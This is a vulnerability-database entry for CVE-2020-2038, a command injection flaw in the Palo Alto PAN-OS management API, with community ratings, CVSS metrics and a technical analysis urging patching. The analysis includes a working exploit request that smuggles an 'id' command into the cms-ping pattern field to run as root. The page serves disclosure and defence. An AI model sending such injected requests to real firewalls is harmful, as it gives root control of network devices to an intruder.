Attacker Value
Very High
(2 users assessed)
Exploitability
Moderate
(2 users assessed)
User Interaction
None
Privileges Required
High
Attack Vector
Network
1

CVE-2020-2038

Disclosure Date: September 09, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts: PAN-OS 9.0 versions earlier than 9.0.10; PAN-OS 9.1 versions earlier than 9.1.4; PAN-OS 10.0 versions earlier than 10.0.1.

Add Assessment

2
Ratings
Technical Analysis

A textbook command injection vulnerability.

An authenticated user is able to send whats referred to as op (operational mode command) requests to the API. One of the operational mode commands supported is a ping request that gets run as root by the server. Intended to allow users to send a host address to the server and for the server to then ping that host to see if it responds to ICMP requests. However, as you may have guessed, the request to the API doesn’t get sanitized well enough and you can inject/ append OS commands to the end of the ping request which then get executed as root.

Once authenticated, you can use the following GET request to run the id command:

GET /api/?cmd=%3ccms-ping%3e%3chost%3e151.7.17.75%3c/host%3e%3ccount%3e22%3c/count%3e%3cpattern%3e111%3c%21%5bCDATA%5b%7c%7cid%7c%7c%5d%5d%3e%3c/pattern%3e%3c/cms-ping%3e&type=op&key=LUFRPT04bEFiL1gzV1VNS3JHTkZ5dStqaURmS2ZoWXM9R24zVDdib0NMdjZIWDVqTGJqUXVhN3VPWVFSWW8yY0dsZUVKUTRsS004UEhMVHhOSVRES3BEcDR0TUJCZUg0aQ%3d%3d HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Cookie: PHPSESSID=ff726cde08ee6755f82453a00685a2c1

Despite needing authentication, this is pretty bad. An attacker getting root access to your firewall will be enough to ruin your day. Palo Alto Network firewalls are popular and widely deployed, patch if you haven’t already!

1
Ratings
Technical Analysis

Not enough is known about this vulnerability, but this requires admin creds to the management interface, so mitigate this by choosing secure passphrases, securing credential storage, etc.

CVSS V3 Severity and Metrics
Base Score:
7.2 High
Impact Score:
5.9
Exploitability Score:
1.2
Vector:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
High
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • paloaltonetworks

Products

  • pan-os

Additional Info

Technical Analysis